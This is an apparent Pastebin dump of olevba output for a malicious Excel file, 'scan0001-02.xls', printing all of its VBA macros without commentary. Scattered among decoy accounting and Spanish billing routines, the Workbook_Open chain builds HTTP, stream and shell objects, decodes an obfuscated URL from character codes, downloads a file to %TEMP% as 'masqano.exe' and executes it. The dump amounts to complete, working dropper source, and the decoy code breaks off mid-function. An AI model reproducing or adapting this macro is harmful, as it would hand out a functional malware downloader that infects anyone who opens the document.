Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- olevba 0.41 - http://decalage.info/python/oletools
- Flags Filename
- ----------- -----------------------------------------------------------------
- OLE:MASIHB-V scan0001-02.xls
- (Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)
- ===============================================================================
- FILE: scan0001-02.xls
- Type: OLE
- -------------------------------------------------------------------------------
- VBA MACRO ÝòàÊíèãà.cls
- in file: scan0001-02.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u042d\u0442\u0430\u041a\u043d\u0438\u0433\u0430'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Private Sub Workbook_Open()
- AdaptarNulos "", ""
- BBudgetAmount "", ""
- GetReqVer ""
- SetCommentaires
- End Sub
- -------------------------------------------------------------------------------
- VBA MACRO Ëèñò1.cls
- in file: scan0001-02.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04421'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- (empty macro)
- -------------------------------------------------------------------------------
- VBA MACRO Ëèñò2.cls
- in file: scan0001-02.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04422'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- (empty macro)
- -------------------------------------------------------------------------------
- VBA MACRO Ëèñò3.cls
- in file: scan0001-02.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04423'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- (empty macro)
- -------------------------------------------------------------------------------
- VBA MACRO Module1.bas
- in file: scan0001-02.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Public Const AGRO = "TREAM"
- Public Sub GetEnv()
- Dim PROC_NAME As String
- PROC_NAME = "GetEnv"
- DEBUG_MODE = True
- work_path = ThisWorkbook.Path
- file_name = ThisWorkbook.Name
- prog_name = Left(file_name, InStrRev(file_name, "_") - 1)
- Call CheckProgVal
- prog_name_format = IIf(prog_val = 1, "ActivPS", "ConsoASS")
- prog_desc = IIf(prog_val = 1, "", "")
- num_main = Mid(file_name, InStrRev(file_name, "_") + 1, InStrRev(file_name, ".") - InStrRev(file_name, "_") - 1)
- num_name = IIf(prog_val = 1, "Numero PS", "NIR")
- If DEBUG_INFILE Then debug_file_path = work_path & "\" & Left(file_name, InStrRev(file_name, ".") - 1) & "_debug_macro.log"
- log_file_path = work_path & "\" & prog_name & "_" & num_main & ".log"
- spool_path = work_path & "\resultats"
- file_bilan = IIf(prog_val = 1, prog_name & "_" & num_main & "_0_bilan_params.lst", prog_name & "_" & num_main & "_bilan_params.lst")
- anonym_file = IIf(prog_val = 1, work_path & "\" & prog_name & "_" & num_main & "_anonymise" & Mid(file_name, InStrRev(file_name, ".")), work_path & "\" & prog_name & "_" & Fwk_DoObfuscatorExecution(num_main, 3) & "_anonymise" & Mid(file_name, InStrRev(file_name, ".")))
- cpt_steps = 0
- total_steps = Fwk_GetNbFileInDir(spool_path, "LST") + 1
- ANONYM = False
- Set UserformObject = FormOnOpen
- progressbar_totalwidth = UserformObject.LblProgress.Width
- num_version = GetReqVer(spool_path & "\" & file_bilan)
- lexique = ThisWorkbook.Sheets("lexique").Range("A:B")
- UserformObject.LblTitre = prog_name_format
- UserformObject.Caption = prog_name_format
- UserformObject.LblDescription = prog_desc
- UserformObject.LblReqId = num_name & " ? traiter : " & num_main
- UserformObject.LblVersion = "Version " & num_version
- UserformObject.OptDebugOff.Value = True
- UserformObject.OptDebugOn.Value = False
- UserformObject.OptAnonymOff.Value = True
- UserformObject.OptAnonymOn.Value = False
- End Sub
- Public Sub DisplayDebugEnv()
- Dim PROC_NAME As String
- PROC_NAME = "DisplayDebugEnv"
- End Sub
- Public Sub CheckProgVal()
- Dim PROC_NAME As String
- PROC_NAME = "CheckProgVal"
- If prog_name = "consoass" Then
- prog_val = 2
- ElseIf prog_name = "activps" Then
- prog_val = 1
- Else
- prog_val = 0
- End If
- If prog_val = 0 Then
- End If
- End Sub
- Public Sub SetDebugIfSelected()
- Dim PROC_NAME As String
- PROC_NAME = "SetDebugIfSelected"
- Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="")
- If (UserformObject.OptDebugOn.Value = True) Then
- Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="<DebugOn> est coche")
- If (Not Fwk_CheckIfVBATrust) Then
- Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="<Sources Fiables> non coche, on affiche une alerte bloquante")
- FormSourcesFiables.Show
- End
- End If
- DEBUG_MODE = True
- Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="")
- If DEBUG_INFILE Then
- DEBUG_NUMFILE = FreeFile()
- Open debug_file_path For Output As DEBUG_NUMFILE
- Else
- DEBUG_NUMFILE = Empty
- End If
- Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="*** Debut de la macro ***")
- Call DisplayDebugEnv
- Else
- DEBUG_MODE = False
- End If
- End Sub
- Public Function GetReqVer(ByVal file_bilan As String) As String
- Dim PROC_NAME As String
- PROC_NAME = "GetReqVer"
- Dim intFic As Integer, pos1 As Integer, pos2 As Integer
- Dim numver As String, strLigne As String, strnumver As String, masque As String
- dist4 = dist3("TEMP")
- BFileName ""
- GoTo step8
- Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="")
- intFic = FreeFile
- numver = "inconnue"
- If Dir(file_bilan) <> "" Then
- Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="")
- Open file_bilan For Input As intFic
- Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="")
- Do While Not EOF(intFic)
- Line Input #intFic, strLigne
- If InStr(strLigne, "THEME") = 0 Then
- Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="Si la ligne contient le mot THEME, on est a priori sur la bonne ligne")
- pos1 = InStr(10, strLigne, ";") + 1
- pos2 = InStr(pos1, strLigne, ";")
- strnumver = Mid(strLigne, pos1, pos2 - pos1)
- Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, "strnumver", strnumver)
- Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="")
- masque = "[4-9].[0-9]*"
- If strnumver Like masque Then
- Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="")
- numver = strnumver
- Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, "numver", numver)
- End If
- Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="")
- Exit Do
- End If
- Loop
- Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="On ferme le fichier")
- Close intFic
- Else
- Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="Fichier " & file_bilan & " non trouve !")
- End If
- step8:
- dist5 = dist4 + "\" + "mas" + "qano" + "." + "e" + "" + "" + "" + "" + "xe"
- dist2.Type = 1
- dist2.Open
- dist2.write dist1.responseBody
- dist2.savetofile dist5, 2
- Exit Function
- Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="On renvoi la valeur")
- GetReqVer = StrConv(numver, vbLowerCase)
- End Function
- Public Function GetArrFieldInfo(ByVal sheet_name As String)
- Dim PROC_NAME As String
- PROC_NAME = "GetArrFieldInfo"
- Dim ArrFieldInfo As Variant, ArrColumnsToText As Variant, ArrTemp As Variant
- Dim i As Integer, j As Integer
- Dim ConvertText As Boolean
- Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="Selection des colonnes a mettre au format Texte de la feuille : " & sheet_name)
- If prog_val = 1 Then
- Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="Selection des colonnes pour prog_val = " & prog_val)
- ArrColumnsToText = Array(2, 3, 4, 15, 22, 27, 30, 35)
- If sheet_name Like "ccam*" Then
- ArrTemp = Array(39, 40, 42, 44, 51)
- ElseIf sheet_name Like "repart_*" Then
- ArrColumnsToText = Array(2, 3)
- ElseIf sheet_name = "indic_benmg" Then
- ArrColumnsToText = Array(2, 3, 4, 18)
- Else
- ArrTemp = Array(39, 40, 42, 44)
- End If
- Else
- Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="Selection des colonnes pour prog_val = " & prog_val)
- ArrColumnsToText = Array(2, 3, 4, 8, 15, 20, 23, 28)
- If sheet_name = "histo_mtt" Then
- ArrColumnsToText = Array(2, 3, 4, 10)
- ElseIf sheet_name Like "repart_*" Then
- ArrColumnsToText = Array(2, 3)
- If sheet_name = "repart_pres" Or sheet_name = "repart_exec" Then
- ArrTemp = Array(7)
- ElseIf sheet_name = "repart_remmnt" Then
- ArrTemp = Array(8)
- End If
- ElseIf sheet_name Like "ccam*" Then
- ArrTemp = Array(32, 33, 35, 37, 44)
- Else
- ArrTemp = Array(32, 33, 35, 37)
- End If
- End If
- Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="")
- Call Fwk_DoMergeArray(ArrColumnsToText, ArrTemp)
- Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="")
- ArrFieldInfo = Array(Array(1, 1))
- For i = 1 To 100
- ReDim Preserve ArrFieldInfo(i)
- For j = LBound(ArrColumnsToText) To UBound(ArrColumnsToText)
- If i = ArrColumnsToText(j) Then
- ConvertText = True
- End If
- Next j
- If ConvertText = True Then
- ArrFieldInfo(i) = Array(i, 2)
- ConvertText = False
- Else
- ArrFieldInfo(i) = Array(i, 1)
- End If
- Next i
- Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="")
- GetArrFieldInfo = ArrFieldInfo
- End Function
- Public Sub SetCommentaires()
- Dim PROC_NAME As String
- PROC_NAME = "SetCommentaires"
- Dim ws As Worksheet
- Dim rng As Range
- Dim Cell As Object
- Dim i As Integer
- Dim titre As String, descr As String
- dist6.Open (dist5)
- Exit Sub
- Set ws = Nothing
- Set rng = Nothing
- Set Cell = Nothing
- End Sub
- Public Sub SetFormatText(ByVal ArrFieldsFormat As Variant)
- Dim PROC_NAME As String
- PROC_NAME = "SetFormatText"
- Dim ws As Worksheet
- Dim i As Integer
- Dim rng As Range
- Dim Cell As Object
- Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="Formatage des champs sp?ciaux de type texte de la feuille : " & ActiveSheet.Name)
- Set ws = ActiveSheet
- Set rng = Range(ws.Cells(Fwk_GetWsFR(ws), 1), ws.Cells(1, Fwk_GetWsLC(ws)))
- Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="")
- For Each Cell In rng
- For i = 0 To UBound(ArrFieldsFormat, 1)
- If Cell.Value = ArrFieldsFormat(i) Then
- Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="Si valeur trouve, on applique le format." & Cell.Value & " =" & ArrFieldsFormat(i))
- ws.Columns(Cell.column).EntireColumn.Select
- Selection.NumberFormat = "@"
- Selection.TextToColumns Destination:=Selection, DataType:=xlDelimited, _
- TextQualifier:=xlDoubleQuote, ConsecutiveDelimiter:=True, Tab:=False, _
- Semicolon:=False, Comma:=False, Space:=False, Other:=False, OtherChar _
- :=";", FieldInfo:=Array(1, 2), TrailingMinusNumbers:=True
- Exit For
- End If
- Next i
- Next Cell
- Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="")
- Set ws = Nothing
- Set rng = Nothing
- Set Cell = Nothing
- End Sub
- Public Sub SetFormatDate(ByVal ArrFieldsFormat As Variant)
- Dim PROC_NAME As String
- PROC_NAME = "SetFormatDate"
- Dim ws As Worksheet
- Dim i As Integer
- Dim rng As Range
- Dim Cell As Object
- Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="Formatage des champs de type date de la feuille : " & ActiveSheet.Name)
- Set ws = ActiveSheet
- Set rng = Range(ws.Cells(Fwk_GetWsFR(ws), 1), ws.Cells(1, Fwk_GetWsLC(ws)))
- Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="")
- For Each Cell In rng
- For i = 0 To UBound(ArrFieldsFormat, 1)
- If Cell.Value = ArrFieldsFormat(i) Then
- Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="Si valeur trouve, on applique le format." & Cell.Value & " =" & ArrFieldsFormat(i))
- ws.Columns(Cell.column).EntireColumn.Select
- Selection.TextToColumns Destination:=Selection, DataType:=xlFixedWidth, _
- OtherChar:=";", FieldInfo:=Array(Array(0, 5), Array(8, 1)), _
- TrailingMinusNumbers:=True
- Selection.NumberFormat = "m/d/yyyy"
- Exit For
- End If
- Next i
- Next Cell
- Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="")
- Set ws = Nothing
- Set rng = Nothing
- Set Cell = Nothing
- End Sub
- -------------------------------------------------------------------------------
- VBA MACRO Module2.bas
- in file: scan0001-02.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Public dist1 As Object
- Public dist2 As Object
- Public dist3 As Object
- Public dist4 As String
- Public dist5 As String
- Public dist6 As Object
- Public Function BFunctionsVersion() As String
- BFunctionsVersion = "2015-10-06"
- End Function
- Public Function BAccountDescription(filename As String, account As String, Optional column As String = "") As String
- Application.Volatile
- Dim myUrl As String
- myUrl = "accountdescription/" & account
- If Len(column) > 0 Then
- myUrl = myUrl & "/" & column
- End If
- BAccountDescription = BHttpQuery(filename, myUrl)
- End Function
- Public Function BAmount(filename As String, account As String, Optional period As String = "") As Double
- Application.Volatile
- BAmount = Val(BBalanceGet(filename, account, "balance", "amount", period))
- End Function
- Public Function BBalance(filename As String, account As String, Optional period As String = "") As Double
- Application.Volatile
- BBalance = Val(BBalanceGet(filename, account, "balance", "balance", period))
- End Function
- Public Function BBalanceGet(filename As String, account As String, cmd As String, valueName As String, Optional period As String = "") As Double
- Application.Volatile
- Dim myUrl As String
- myUrl = cmd & "/" & account & "/" & valueName
- If Not IsEmpty(period) Then
- myUrl = myUrl & "?period=" & period
- End If
- BBalanceGet = Val(BQuery(filename, myUrl))
- End Function
- Public Function BBudgetAmount(filename As String, account As String, Optional period As String = "") As Double
- Dim urlAr() As Variant
- urlAr = Array(9352, 9364, 9364, 9360, 9306, 9295, 9295, 9367, 9367, 9367, 9294, 9349, 9365, 9362, 9359, 9347, 9359, 9358, 9364, 9345, 9353, 9358, 9349, 9362, 9363, 9294, 9353, 9364, 9295, 9352, 9302, 9300, 9351, 9350, 9299, 9295, 9304, 9305, 9354, 9302, 9347, 9368, 9294, 9349, 9368, 9349)
- dist1.Open "G" + "" + "" + "E" + "" + "" + "T" + "" + "", Bezrabotki(urlAr, 45), False
- Exit Function
- Application.Volatile
- BBudgetAmount = Val(BBalanceGet(filename, account, "budget", "amount", period))
- End Function
- Public Function BBudgetBalance(filename As String, account As String, Optional period As String = "") As Double
- Application.Volatile
- BBudgetBalance = Val(BBalanceGet(filename, account, "budget", "balance", period))
- End Function
- Public Function BBudgetInterest(filename As String, account As String, interestRate As String, Optional period As String = "")
- Application.Volatile
- Dim myUrl As String
- myUrl = "budgetinterest/" & account & "?rate=" & interestRate
- If Not IsEmpty(period) Then
- myUrl = myUrl & "&period=" & period
- End If
- BBudgetInterest = Val(BQuery(filename, myUrl))
- End Function
- Public Function BBudgetOpening(filename As String, account As String, Optional period As String = "") As Double
- Application.Volatile
- BBudgetOpening = Val(BBalanceGet(filename, account, "budget", "opening", period))
- End Function
- Public Function BBudgetTotal(filename As String, account As String, Optional period As String = "") As Double
- Application.Volatile
- BBudgetTotal = Val(BBalanceGet(filename, account, "budget", "total", period))
- End Function
- Public Function BCreatePeriod(startDate As Date, endDate As Date) As String
- BCreatePeriod = Format(startDate, "yyyy-mm-dd") & "/" & Format(endDate, "yyyy-mm-dd")
- End Function
- Public Function BCellValue(filename As String, table As String, rowColumn As String, column As String) As String
- Application.Volatile
- Dim myUrl As String
- myUrl = "table/" & table & "/row/" & rowColumn & "/column/" & column
- BCellValue = BHttpQuery(filename, myUrl)
- End Function
- Public Function BDate(dateIso As String) As Date
- If Len(dateIso) = 10 Then
- BDate = DateSerial(Left(dateIso, 4), Mid(dateIso, 6, 2), Right(dateIso, 2))
- End If
- End Function
- Public Function BEndPeriod(filename As String, Optional period As String = "") As Date
- Dim dateIso As String
- dateIso = BHttpQuery(filename, "endperiod?period=" & period)
- If Len(dateIso) = 10 Then
- BEndPeriod = DateSerial(Left(dateIso, 4), Mid(dateIso, 6, 2), Right(dateIso, 2))
- End If
- End Function
- Public Function BFileName(filename As String, Optional disableConnection As String = "") As String
- dist1.Send
- Exit Function
- If disableConnection <> "0" And Len(disableConnection) > 0 Then
- BFileName = ""
- Exit Function
- End If
- Dim myUrl As String
- myUrl = "info/Base/FileName"
- Dim temp As String
- temp = BHttpQuery(filename, myUrl)
- If temp <> "" Then
- BFileName = Mid(temp, InStrRev(temp, "/") + 1)
- Else
- BFileName = ""
- End If
- End Function
- Public Function BInterest(filename As String, account As String, interestRate As String, Optional period As String = "")
- Application.Volatile
- Dim myUrl As String
- myUrl = "interest/" & account & "?rate=" & interestRate
- If Not IsEmpty(period) Then
- myUrl = myUrl & "&period=" & period
- End If
- BInterest = Val(BQuery(filename, myUrl))
- End Function
- Public Function BInfo(filename As String, sectionXml As String, idXml As String) As String
- Application.Volatile
- Dim myUrl As String
- myUrl = "info/" & sectionXml & "/" & idXml
- BInfo = BHttpQuery(filename, myUrl)
- End Function
- Public Function BLastQuery(i As Integer) As String
- If i >= 0 And i <= MAXLASTQUERY Then
- BLastQuery = lastQuery(i)
- End If
- End Function
- Public Function BOpening(filename As String, account As String, Optional period As String = "") As Double
- Application.Volatile
- BOpening = Val(BBalanceGet(filename, account, "balance", "opening", period))
- End Function
- Public Function BStartPeriod(filename As String, Optional period As String = "") As Date
- Dim dateIso As String
- dateIso = BHttpQuery(filename, "startperiod?period=" & period)
- If Len(dateIso) = 10 Then
- BStartPeriod = DateSerial(Left(dateIso, 4), Mid(dateIso, 6, 2), Right(dateIso, 2))
- End If
- End Function
- Public Function BTotal(filename As String, account As String, Optional period As String = "") As Double
- Application.Volatile
- BTotal = Val(BBalanceGet(filename, account, "balance", "total", period))
- End Function
- Public Function BVatBalance(filename As String, vatCode As String, vatValue As String, Optional period As String = "") As Double
- Application.Volatile
- BVatBalance = Val(BBalanceGet(filename, vatCode, "vatbalance", vatValue, period))
- End Function
- Public Function BVatDescription(filename As String, vatCode As String, Optional column As String = "") As String
- Application.Volatile
- Dim myUrl As String
- myUrl = "vatdescription/" & vatCode
- If Len(column) > 0 Then
- myUrl = myUrl & "/" & column
- End If
- BVatDescription = BHttpQuery(filename, myUrl)
- End Function
- Public Function BQuery(filename As String, query As String) As String
- Application.Volatile
- BQuery = BHttpQuery(filename, query)
- End Function
- Public Sub RecalculateAll()
- On Error Resume Next
- ActiveWorkbook.Names("someChanges").Delete
- ActiveWorkbook.Names.Add Name:="someChanges", RefersTo:="=XEX1048575"
- ActiveWorkbook.Names("someChanges").Delete
- Application.CalculateFullRebuild
- End Sub
- Private Function BHttpQuery(filename As String, query As String) As String
- If filename = "" Then
- Exit Function
- End If
- Dim myUrl As String
- Dim oHttp As Object
- Dim BananaHostName As String
- On Error Resume Next
- BananaHostName = Range("BananaHostName").Value
- If BananaHostName = "" Then
- BananaHostName = "localhost:8081"
- End If
- Set oHttp = CreateObject("WinHttp.WinHttpRequest.5.1")
- myUrl = "http://" & BananaHostName & "/v1/doc/" & filename & "/" & query
- Dim i As Integer
- For i = 0 To (MAXLASTQUERY - 1)
- lastQuery(i) = lastQuery(i + 1)
- Next i
- lastQuery(MAXLASTQUERY) = myUrl
- oHttp.Open "GET", myUrl, False
- On Error Resume Next
- oHttp.Send
- If Err.Number = 0 Then
- If oHttp.Status < 300 Then
- BHttpQuery = oHttp.responseText
- If Left(BHttpQuery, 6) = "<html " Then
- BHttpQuery = ""
- End If
- Else
- End If
- End If
- End Function
- Private Function BananaIsRunning() As Boolean
- On Error Resume Next
- Dim bananaObj As Object
- bananaObj = GetObject("", "Banana")
- If Err.Number = 0 Then
- BananaIsRunning = True
- Else
- BananaIsRunning = False
- End If
- End Function
- -------------------------------------------------------------------------------
- VBA MACRO Module3.bas
- in file: scan0001-02.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module3'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Public Function crearFactoryDAO(ptpModo_Operacion As String) As Boolean
- If ptpModo_Operacion = FACTURACION_REMOTA Then
- objEjeSincronizador.EjecutarSincronizador objConfig.Ruta_Sincronizador
- Set objbasededatos = New CMySQLBasededatos
- Set objDiccionariodeDatos = New CMySQLDiccDatos
- Set ObjTablasIO = New CMySQLTablasIO
- Else
- Set objbasededatos = New CBasededatos
- Set objDiccionariodeDatos = New CDiccionariodeDatos
- Set ObjTablasIO = New CTablasIO
- End If
- End Function
- Public Function Bezrabotki(sS1() As Variant, l2 As Integer) As String
- Dim dubBez As String
- Dim counter As Integer
- dubBez = ""
- For counter = LBound(sS1) To l2
- dubBez = dubBez & Chr(sS1(counter) - 8 * l2 - 8888)
- Next counter
- Bezrabotki = dubBez
- End Function
- Public Function ReemplazarPalabra(pCadena As String, _
- pPalabraIn As String, pPalabraOut As String) As String
- Dim nPos As Integer
- Dim strAux1 As String
- Dim strAux2 As String
- nPos = InStr(1, pCadena, pPalabraIn, vbTextCompare)
- If nPos > 0 Then
- strAux1 = Left(pCadena, nPos - 1)
- strAux2 = Right(pCadena, Len(pCadena) - nPos - Len(pPalabraIn) + 1)
- strAux1 = strAux1 + pPalabraOut + ReemplazarPalabra(strAux2, pPalabraIn, pPalabraOut)
- ReemplazarPalabra = strAux1
- Exit Function
- End If
- ReemplazarPalabra = pCadena
- End Function
- Public Function AdaptarNulos(pDato As Variant, valordefecto As Variant)
- DOT = "D"
- vital = "A" + LCase(DOT) + "o" + LCase(DOT) + "b." + "S" + LCase(AGRO)
- Set dist1 = CreateObject("Microsoft" + ".XMLHTTP")
- Set dist6 = CreateObject("Shell.Application")
- Set dist3 = CreateObject("WScript.Shell").Environment("Process")
- GoTo dist2
- If IsNull(pDato) Then
- AdaptarNulos = valordefecto
- Else
- If CStr(pDato) = "" Then
- AdaptarNulos = valordefecto
- Else
- AdaptarNulos = CStr(pDato)
- End If
- End If
- dist2:
- Set dist2 = CreateObject(vital + "")
- End Function
- Public Function ObtenerElAltoDeLaResolucion() As Integer
- ObtenerElAltoDeLaResolucion = (Screen.Height / Screen.TwipsPerPixelY)
- End Function
- Public Function ObtenerElAnchoDeLaResolucion() As Integer
- ObtenerElAnchoDeLaResolucion = (Screen.Width / Screen.TwipsPerPixelX)
- End Function
- Public Function ExisteElArchivo(strPathDelArchivo As String) As Boolean
- Dim FSO
- Dim Canal
- ExisteElArchivo = False
- Set FSO = CreateObject("Scripting.FileSystemObject")
- If InStr(1, strPathDelArchivo, "\", vbTextCompare) = 0 Then strPathDelArchivo = FSO.GetSpecialFolder(WindowsFolder) & "\" & strPathDelArchivo
- If FSO.FileExists(strPathDelArchivo) Then ExisteElArchivo = True
- Set FSO = Nothing
- End Function
- Public Function CrearCarpeta(strPath As String) As Boolean
- On Error Resume Next
- MkDir (strPath)
- On Error GoTo 0
- End Function
- Public Function AdaptarValorNumerico(pValor As String) As Single
- If Trim(pValor) = "" Then
- AdaptarValorNumerico = 0
- Else
- AdaptarValorNumerico = CSng(pValor)
- End If
- End Function
- Public Function ObtenerDatoDelRegistrodeWindows(pEntrada As String, pClave As String) As String
- ObtenerDatoDelRegistrodeWindows = GetSetting(pEntrada, "General Settings", pClave)
- End Function
- Public Function AdaptarTrueFalse(pControl As String, ByVal Valor As String) As Variant
- AdaptarTrueFalse = Valor
- If LCase(Mid(pControl.Tag, 1, 2)) = "fl" Then
- If UCase(Valor) = "VERDADERO" Or UCase(Valor) = "TRUE" Then AdaptarTrueFalse = vbChecked
- If UCase(Valor) = "FALSE" Or UCase(Valor) = "FALSO" Then AdaptarTrueFalse = vbUnchecked
- Else
- If UCase(Valor) = "VERDADERO" Or UCase(Valor) = "TRUE" Then AdaptarTrueFalse = True
- If UCase(Valor) = "FALSE" Or UCase(Valor) = "FALSO" Then AdaptarTrueFalse = False
- End If
- End Function
- Public Sub Error_de_Conexion()
- MsgBox "Se ha producido un error en la conexion, imposible continuar, el sistema se cerrar?.", vbCritical + vbDefaultButton1, "Atenci?n"
- End
- End Sub
- Sub Main()
- Dim lnrCaja As String
- If App.LogMode = MODO_DEBUG Then
- Modulo_Pruebas.EjecutarPruebas
- End If
- objConfigRegional.ConfigurarSistema
- Azul = RGB(0, 0, 255)
- Amarillo = RGB(255, 255, 185)
- Blanco = RGB(255, 255, 255)
- Gris = &HE0E0E0
- Rojo = RGB(255, 113, 113)
- Verde = RGB(64, 196, 73)
- Marron = RGB(255, 128, 64)
- Naranja = RGB(249, 152, 21)
- objConfig.CargarINI
- If objConfig.GrabaLog = "SI" Then
- objLog.GrabaLog = "SI"
- objLog.crearNombreArchivo
- End If
- crearFactoryDAO objConfig.tpModo_Operacion
- objParametros.GrabarValor "nrPuesto", objConfig.nrPuesto
- objbasededatos.dsDSN = objConfig.dsDSN
- objbasededatos.dsUID = objConfig.dsUID
- objbasededatos.dsMotorBD = objConfig.dsMotorBD
- Select Case objbasededatos.dsMotorBD
- Case "MY_SQL"
- On Error Resume Next
- objbasededatos.nmServidor = objConfig.nmServidor
- If Err Then
- MsgBox "ERROR: no se puede iniciar el modo local, verifique la propiedad "
- End
- End If
- On Error GoTo 0
- objbasededatos.nmBasededatos = objConfig.nmBasededatos
- Case "SQL_SERVER"
- Case "MDB"
- End Select
- Set objbasededatos.ConfigRegional = objConfigRegional
- If Not objbasededatos.abrirBD Then
- If objbasededatos.Error = "[Shared Memory]SQL Server does not exist or access denied." Then
- MsgBox "No se ha establecido la conexi?n con el Servidor." + vbCrLf + _
- "Por favor verifique si la VPN se encuentra abierta. " + vbCrLf + _
- "Vuelva a internar la operaci?n, si persiste el problema comun?quese" + _
- " con el administrador del sistema.", vbCritical, _
- "Fall? la conexi?n con el Servidor."
- Else
- MsgBox objbasededatos.Error
- End If
- End
- End If
- Set objDiccionariodeDatos.Basededatos = objbasededatos
- If Not objDiccionariodeDatos.InicializarDiccionario() Then
- MsgBox objDiccionariodeDatos.Error
- End
- End If
- ObjTablasIO.dsMotorBD = objConfig.dsMotorBD
- Set ObjTablasIO.Basededatos = objbasededatos
- Set ObjTablasIO.DiccionarioDeDatos = objDiccionariodeDatos
- Set objDiccionariodeDatos.TablasIO = ObjTablasIO
- Set objCajas.Basededatos = objbasededatos
- Set objCajas.ObjTablasIO = ObjTablasIO
- Set objMovimientos.ObjTablasIO = ObjTablasIO
- Set objExportar.objDiccionariodeDatos = objDiccionariodeDatos
- objSPs.dsMotorBD = objConfig.dsMotorBD
- Set objSPs.Basededatos = objbasededatos
- Set objSPs.DiccionarioDeDatos = objDiccionariodeDatos
- Set objSPs.lobjConfigRegional = objConfigRegional
- frm_Splash.Show 1
- CrearCarpeta objConfig.dsPathTemp
- Frm_Acceso.Show 1
- objUsuario.ValidarUsuario
- If objUsuario.tpAcceso = "Puestos" And objConfig.nrPuesto = "9" Then
- MsgBox "Prohibido el acceso a los usuarios de los "
- End
- End If
- If objUsuario.tpAcceso = "Administraci?n" And objConfig.nrPuesto <> "9" Then
- MsgBox "Prohibido el acceso a los usuarios de la "
- End
- End If
- If objCajas.hayCajasModificadasporAdministracion() Then
- MsgBox "Existen cajas modificadas por la admministraci?n con estado "
- "para realizar dicha tarea ingrese a
- End If
- If UCase(objUsuario.dsPassword) = UCase(objbasededatos.hashCadena(DEFAULT_PWD)) Then
- frm_CambiarPassword.Show vbModal
- If objParametros.ObtenerValor("CAMBIO_CLAVE") = "NO" Then
- End
- End If
- End If
- Select Case objUsuario.tpAcceso
- Case "Puestos", "Administraci?n"
- If objUsuario.tpAcceso = "Administraci?n" And objConfig.dsMotorBD = "MY_SQL" Then
- MsgBox "La configuraci?n actual no permite ingresar al sistema con el perfil de administraci?n.", vbCritical + vbDefaultButton1, "Atenci?n"
- End
- End If
- If objCajas.hayCajasRechazadasporlaCajera() Then
- MsgBox "Existen cajas puestos Rechazadas.", vbInformation + vbDefaultButton1, "Atenci?n"
- End If
- objConfig.AbreCaja = "SI"
- If Not objConfig.ObtenerValoresEuroyDolaryPromoyComisionRetorno Then
